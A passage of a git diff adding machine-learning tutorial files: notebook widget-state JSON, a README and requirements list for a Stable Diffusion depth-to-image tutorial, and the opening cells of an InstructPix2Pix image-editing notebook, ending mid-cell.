+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e9454ab1e9034e908b84be5c6bf6f069": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7f58a5010d77407ca459b1d7209e9280",
+            "placeholder": "​",
+            "style": "IPY_MODEL_af2c00007cd34322be1faf9aa4925e2d",
+            "value": "100%"
+          }
+        },
+        "e9797440d4904681b6d32ba13e38cf69": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_23e3dc5b455d445a957cf44e6c913b30",
+            "placeholder": "​",
+            "style": "IPY_MODEL_fd80da5cf56c463ca277dafa9792c922",
+            "value": "100%"
+          }
+        },
+        "e9de6d1bfc2541fbaf1c5315be405904": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b6001677e22a4bf1b3565b55bebf0be1",
+            "placeholder": "​",
+            "style": "IPY_MODEL_b3dba2bfc0c9401a908c7a25a8fbe952",
+            "value": " 45/45 [00:15&lt;00:00,  3.06it/s]"
+          }
+        },
+        "eb34aef46c21431bbca887976b630a88": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ed5435b53cb646d080918c6720e222bd": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ed9bd4313a1a477a820abec0b6f911f6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f228ea9baedf457985c032deab6b96df",
+            "placeholder": "​",
+            "style": "IPY_MODEL_665e483725974558b1712ef1fa235a7d",
+            "value": "100%"
+          }
+        },
+        "f037d2a0f68e4647ab8d1e3c278aac8f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f50555e1470b4a8e95ea430871af77cf",
+            "placeholder": "​",
+            "style": "IPY_MODEL_9f6a32585a514034975b71b2954b639f",
+            "value": "100%"
+          }
+        },
+        "f228ea9baedf457985c032deab6b96df": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f3d5fc14999740b2bb7e4c21d1413b37": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f50555e1470b4a8e95ea430871af77cf": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f7214d3edc9c4b38af73090d49d89ddf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_0e19b13015304e75abe29a63bd8a9052",
+              "IPY_MODEL_c2bf3e4561894b4f98047c14c8c6fcaf",
+              "IPY_MODEL_3758340ddeb543a9854df0e5502725eb"
+            ],
+            "layout": "IPY_MODEL_eb34aef46c21431bbca887976b630a88"
+          }
+        },
+        "f8ed4f4a78df426aa227ef4e1dda7063": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_40b3e69446974dccb4675c68b6b3db6e",
+            "placeholder": "​",
+            "style": "IPY_MODEL_66ec2664ae9049548c50a0729a79b3bc",
+            "value": " 35/35 [00:11&lt;00:00,  3.08it/s]"
+          }
+        },
+        "fd80da5cf56c463ca277dafa9792c922": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "fd926a30faed41618593cdb01204d0cc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4c55892c8dd3450a9904bce9e9b80057",
+            "max": 50,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_02dae045c1e7433cbdd872206d35e2f4",
+            "value": 50
+          }
+        },
+        "fe00c60d6a684ade8f1faf85cd0a825e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "fff5255694d74756a08b556c51affbd9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        }
+      }
+    }
+  },
+  "nbformat": 4,
+  "nbformat_minor": 0
+}
diff --git a/machine-learning/depth2image-stable-diffusion/README.md b/machine-learning/depth2image-stable-diffusion/README.md
new file mode 100644
index 00000000..796ea92c
--- /dev/null
+++ b/machine-learning/depth2image-stable-diffusion/README.md
@@ -0,0 +1 @@
+# [How to Perform Image to Image Generation with Stable Diffusion in Python](https://www.thepythoncode.com/article/generate-images-using-depth-to-image-huggingface-python)
\ No newline at end of file
diff --git a/machine-learning/depth2image-stable-diffusion/image11.png b/machine-learning/depth2image-stable-diffusion/image11.png
new file mode 100644
index 00000000..46dc3770
Binary files /dev/null and b/machine-learning/depth2image-stable-diffusion/image11.png differ
diff --git a/machine-learning/depth2image-stable-diffusion/image12.png b/machine-learning/depth2image-stable-diffusion/image12.png
new file mode 100644
index 00000000..d138fd70
Binary files /dev/null and b/machine-learning/depth2image-stable-diffusion/image12.png differ
diff --git a/machine-learning/depth2image-stable-diffusion/image15.png b/machine-learning/depth2image-stable-diffusion/image15.png
new file mode 100644
index 00000000..290d645b
Binary files /dev/null and b/machine-learning/depth2image-stable-diffusion/image15.png differ
diff --git a/machine-learning/depth2image-stable-diffusion/image16.png b/machine-learning/depth2image-stable-diffusion/image16.png
new file mode 100644
index 00000000..c3ed308b
Binary files /dev/null and b/machine-learning/depth2image-stable-diffusion/image16.png differ
diff --git a/machine-learning/depth2image-stable-diffusion/image3.png b/machine-learning/depth2image-stable-diffusion/image3.png
new file mode 100644
index 00000000..28717e33
Binary files /dev/null and b/machine-learning/depth2image-stable-diffusion/image3.png differ
diff --git a/machine-learning/depth2image-stable-diffusion/requirements.txt b/machine-learning/depth2image-stable-diffusion/requirements.txt
new file mode 100644
index 00000000..024cb1d5
--- /dev/null
+++ b/machine-learning/depth2image-stable-diffusion/requirements.txt
@@ -0,0 +1,5 @@
+diffusers 
+transformers 
+scipy 
+ftfy
+accelerate
\ No newline at end of file
diff --git a/machine-learning/edit-images-instruct-pix2pix/InstructPix2Pix_PythonCodeTutorial.ipynb b/machine-learning/edit-images-instruct-pix2pix/InstructPix2Pix_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..5d744500
--- /dev/null
+++ b/machine-learning/edit-images-instruct-pix2pix/InstructPix2Pix_PythonCodeTutorial.ipynb
@@ -0,0 +1,12948 @@
+{
+  "cells": [
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "ifD7o7YOTehV",
+        "outputId": "8b42a9b5-d180-4986-b868-900a349b01bc"
+      },
+      "outputs": [],
+      "source": [
+        "!pip install -qU diffusers accelerate safetensors transformers"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "CqAnOnnOcp4W"
+      },
+      "source": [
+        "# Hugging Face"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "B2QCQqM9ckWd"
+      },
+      "outputs": [],
+      "source": [
+        "import PIL\n",
+        "import requests\n",
+        "import torch\n",
+        "from diffusers import StableDiffusionInstructPix2PixPipeline, EulerAncestralDiscreteScheduler\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "yzLP1VRHdBY7"
+      },
+      "outputs": [],
+      "source": [
+        "def download_image(url):\n",
+        "    image = PIL.Image.open(requests.get(url, stream=True).raw)\n",
+        "    image = PIL.ImageOps.exif_transpose(image)\n",
+        "    image = image.convert(\"RGB\")\n",
+        "    return image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 829,
+          "referenced_widgets": [
+            "baf9ec5ebd604db9b1f5dfa948742aa2",
+            "b9a0167274eb44b7be65b17130d3ade6",
+            "44638b1824bc48de85029440f2f4a612",
+            "b9f1fb9570e148e7852f4f569ae82852",
+            "9f75675721ae47eb99c80fedb78ea2b7",
+            "876c7d9ec56145338bb7b960b52bddd0",
+            "fa82f3acd0794629b0a5af2383807c2c",
+            "bb3842e44e0a49f2bec66a0bbb971348",
+            "30e99a47aedb446ab999975c08fd96e3",
+            "686e9a80d1554e6ca5ff8e1df5188c31",
+            "20d097bf20d541bda6c8b77a0d021c9a",
+            "c327ed98ce284b84ae4cc89d9797b15f",
+            "14aad595b905426b8d7fc4390bd755d8",
+            "d876c82248f1418e83462dcc38f96469",
+            "0f79fff269c349648fb6e15bf127a7c8",
+            "768863d6e7e747709c4413764e7e7093",
+            "25082abec02c47aab0f6c66225815b6b",
+            "721121db2dc54b14aec771d3c6cdd0fd",
+            "f6787f179f0c4dc6b420085606784de9",
+            "ab713f31f1d34894b4826a67de80daf3",
+            "55e9c8210ea743939cdcdf6b873e00a1",
+            "7e4e6d45329a415cba65daa185369ad6",
+            "c85450a2f1334f9aa43211929b1714e1",
+            "1707f4e4e7a64dbb8a38f7042836bfb2",
+            "3b9b27b4550c453f82f000c03d1209a7",
+            "811695ab3aef4a368d2949af43b5f589",
+            "dfcd450b24d244ab86ccfc1b602a1d7e",
+            "dca153f028a14e3e959c9fe29816223f",
+            "b0367ea7d4b549bc85b64029a6da3ad7",
+            "c4783205744246c99a52bb6bb8df3d7d",
+            "7d941358dd1b4298bf1bf803b625f764",
+            "8af370239d6f45f48cd1f6befdbd9211",
+            "247e38c4011445f1adb3a832ddb53e2e",
+            "91b59a00a5214cd7af5fad47ce24e756",
+            "90443b91e1f448f78274e3157290a8e0",
+            "6be67e6518ea45a0b14a24c79b947617",
+            "4cbd69647642484f9058b10156001882",
+            "1b8ccf560cce482caf4d08a3ed02f0fe",
+            "f3f3d0fa7c164320b7f11f68a3915899",
+            "ee9c24e8b40948d398b026d30cc5cee7",
+            "d9069541f2f246b99881a937f384c7ab",
+            "c5ffdd678bd444d6b66bc7525947b716",
+            "cce1c917ad4a4b2c93369e249cd1c13c",
+            "ff7172bc118f4f22bc1acbe531787b42",
+            "188e9e93c80d4cc699990feb5b52eaee",
+            "2fb28ad0fe464c7a8b1f3c9354140e51",
+            "4b63548f0285403e9e4f2431632cc3ae",
+            "6fea93ee309c49be85992b1a18756101",
+            "d220c9f6c0684da98525ddfb0ccdf8f5",
+            "4e3eebfc758c467fbf44e81c0de7068d",
+            "f0c88afdf3ac4ca3b63be6f561bbf5f0",
+            "0a2014cc648840249d57eb9c569e9fa1",
+            "3467d3ba1eeb44c69149cdbc55469f39",
+            "6168a5fc0aeb44cfab1ca7753ecedced",
+            "aabeb052d7644bdcab945fdd5acf3cd7",
+            "ac8bc6df18574f06b4fe458c3dff0f24",
+            "6a6320e8239d4413b9fc766b2e06ff1e",
+            "fb21fb73c13f4b12a6e917160f5891ed",
+            "d7199c08026f4da58da262e192602fc4",
+            "ee194df227d447d9a5a36d4ec08d3a47",
+            "af5bcc7147324069a3d292911d70d057",
+            "95a784af30bd4bde911e0ee76e343e72",
+            "8b08803f05bb47a1b83ebeff76e7caf7",
+            "27544c3774b54c018270a66ebbd06edb",
+            "86c728930faa41bcad11875ca74af210",
+            "1fcc4a24bf9b4ec6aec98800a872966f",
+            "ff5ca71e3f254e82ba648f2b5a000de2",
+            "efa4ce6a37094cd483fa4e39b7ae04eb",
+            "1529067d721f4287b26e576942b5bc97",
+            "1763740db60f490493e2fe10d35cc58e",
+            "40ea712393314cfe9452f6b14bfd58e6",
+            "b7db2ab7ac704366b20c166c701019c0",
+            "8c01f8b4191048c5b596bb5da0c73d2f",
+            "bbbca2e29d6444f7ba4e592068124650",
+            "42f14a72c44047b695a6b2bfc5184370",
+            "e221a677aab740ea888cb7faf343dfbb",
+            "12694ca9da6c43eaa5640a47cea2d10b",
+            "9bc9af26c0bd4a2889ebff1c5cc14dc4",
+            "405d6f07be5743be8ea10f7e2d4ee73d",
+            "06e488fd0cbb44a79328b0c88392b650",
+            "8779a1cb87f6461a9a152ece606fa948",
+            "b897a3bfccf040548ccf16ef62315d5f",
+            "3b7d6992813e4a32aa5c6d959ac24b27",
+            "78684c2b2b05406ba992fe197c947bcc",
+            "7af9fef14d3a4464aa16232f9d2cf94a",
+            "c13cbe7f79d64c9a9ae4fb90a5cbef9a",
+            "1974a1b14cd74807b872ad12380d0fe3",
+            "990b53f96b66496bb27edb5c1ea012bc",
+            "224de1d94c8047c49546f4d3a49b86a6",
+            "f0aebefd751e48939aae8e3eac7adfde",
+            "d7335eeea61f49a291bbc9f120c823e7",
+            "7dafba4f66a245659587c06edbffcf51",
+            "6f5b06b458d7482ba9685013cad5bfa7",
+            "90ddc85bb3e84773acf73b9a16b4f0be",
+            "440bb669cff048cea2363b50d28521ed",
+            "21e6f865412f4787b04b69da0cafa300",
+            "d6b66675891141aba38d8e8bd130c47c",
+            "ee87d3500d5a483b8a03b0c499392928",
+            "5a4843d7d25545dea9b6e53cb091321b",
+            "305d426ec46a4d14876f9d988fa7cb5c",
+            "6b403cea94ae4e2887302d164e991cf8",
+            "c59286b70fe74bbea779bbfae03e1a87",
+            "d138d9f2076c493da68ff7edb0bc36c7",
+            "04ec14e8bc8f4ad5827e351c01e5a1ee",
+            "a464d6a9bc374081a75ad8a0514c869a",
+            "0c1419eec41b48f093ec53410c10c583",
+            "80e6d8758fe646e2a43d45e31d157b26",
+            "fd5335a0dce5483bba6b91db1e32346e",
+            "f6239b69aa6e4ece90cdb6fabf707c57",
+            "881d8ed91e394981b6320122489fe8bc",
+            "3eccfb04c05445f8a45a56afd74f7e41",
+            "afea13c7ba3a44eeab58c5069f677a61",
+            "0b695e5be5184a43a9f26b21f69a4338",
+            "b6e068b2f21844dc9c184ec49af6b48f",
+            "dc22f7fca8eb4d258406b3b53af177cc",
+            "e0424e3a00f24718ab911e6162ce8d2c",
+            "0ef6a22743594f0081b7af4c1ec4ab71",
+            "0cc9773ba8b3455495375b0b955891e6",
+            "95adb39e73614c96af18ccb2468d5b37",
+            "fe213a7fa3c44223847fd5cf3b05a9a5",
+            "f546e96ee51643839dd2d98d09df9c87",
+            "a76fd8c2c78546a8a4cb5446c7b57505",
+            "9d6a05a53dd24fac9e093e0b278e3381",
+            "c9dd35af3a2449f7b2b7be3915b01a70",
+            "b40740317d3a4116a5b141ad4b6cf6ed",
+            "8babbe3e6d994cbeaa63e70192e858a4",
+            "d3e78f87ec5c4c3e9e1efafefadea3bd",
+            "8214d94c9de5436a9ed42367af453491",
+            "282151a48c29477cb45f8d46beb22f5e",
+            "1895d19dcd574f56b7148ca7235fd0b4",
+            "dfe593ba3bb440e0a29864c62f7b049e",
+            "03c6a309fc494734bd9ebf16634f9063",
+            "6972c854e0ed46949fa89673845aa9b5",
+            "b74ed8b4d7604233a405f1413959b644",
+            "c61940c9c4174fa8b515bbda3b612146",
+            "a8983f58e5c44385864ba164e3d00083",
+            "d11ce4de43984beab4937652c55419cb",
+            "422cdb3a6aed4177aba5f6e9ac77e1bf",
+            "14fe6c5fa5274bde8d90be608d3a6814",
+            "65947bf28d8c47059e1dae1f1d2f97b2",
+            "93b5852ebf584c3e95ca3275b2c9b698",
+            "1d631802aab44912a6097e97d2675102",
+            "c772f5d3ffca49a2a4c0d16a4469105c",
+            "eb33b9af3ec14698bec89ff8b66bae06",
+            "b00687d7649d45af882cdd6d0f97591d",
+            "62905ea2ea4045aeb5ec9a8426247100",
+            "9eb63a9230ba472d87cf106e8abb5dff",
+            "fcc8de512f89491ab8b7a50cc37f83f5",
+            "48d6f53c34b84be4a219cc30ac539aeb",
+            "6e4877900597413e96d01faf5f76b700",
+            "6923960e3752477590c9c9ebc862163c",
+            "b286d3656c404762b3aaff97f4a5892d",
+            "8811223ffe8547e99b837842150396f4",
+            "4e55fede968943718a3c10962f5f708b"
+          ]
+        },
+        "id": "YUXSNFWQckY6",
+        "outputId": "68b5d0d1-14e0-440d-8fd1-ffa021810b7a"
+      },
+      "outputs": [],
+      "source": [
+        "model_id = \"timbrooks/instruct-pix2pix\"\n",
+        "pipe = StableDiffusionInstructPix2PixPipeline.from_pretrained(model_id, torch_dtype=torch.float16, safety_checker=None)\n",
+        "pipe.to(\"cuda\")\n",
+        "pipe.scheduler = EulerAncestralDiscreteScheduler.from_config(pipe.scheduler.config)\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 657
+        },
+        "id": "8TsGblmidHew",
+        "outputId": "2f023570-99cc-4a79-aca4-bbee89c22965"
+      },
+      "outputs": [],
+      "source": [
+        "url = \"https://cdn.pixabay.com/photo/2013/01/05/21/02/art-74050_640.jpg/"\n",
+        "image = download_image(url)\n",
+        "image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 689,
+          "referenced_widgets": [
+            "039beb2fc4c6412d9e05d9d50884e940",
+            "0cf59b40f6304ec38bdaaee06943173f",
+            "63ecaa7f41ce4289aa768b77e9ceebe7",
+            "2a8a4ed0b2854b558efd5acce8dcf5c2",
+            "19469649ab6b44f8b1d6408ac2646579",
+            "1cbc65f4245e4c25a64827f0e2beb08d",
+            "59e8c90ecdf04c2b89f9a539e7f7fdbb",
+            "7ede80a1f6544f2a8dfd631cb6d4eaca",
+            "3bcb60cbd7ab48e2884460a1e539bd12",
+            "ee1a66e0f3ab4c67beef305317124a0f",
+            "b390338978084bd19f7e7e6ce8ea7e44"
+          ]
+        },
+        "id": "sAoN5eGgdEku",
+        "outputId": "12f7ab74-6115-45ed-9092-936916fe6d69"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 689,
+          "referenced_widgets": [
+            "b4c47f72d4204e2abbe9781707b754ee",
+            "8e4655cdbd0348bb86523938a0d95367",
+            "b99c852bd2f54c79afac0eb0049c5dd0",
+            "5fd422b13c324a8baf619da5d1ad0b8e",
+            "dc16acab929344cab2be08d297182843",
+            "a613c20dd06d4754b7a890d802476395",
+            "7342611c130c4e3da540d7ae0ac95b52",
+            "d1d635fff656454e9b0cdba740067c07",
+            "e535c42b82cb4e1fa4fbf492768e5762",
+            "8f10179341c44eb192f865feb143c57e",
+            "7f58916aaee04e5b89978d0111acf83d"
+          ]
+        },
+        "id": "frOPmxYejP1g",
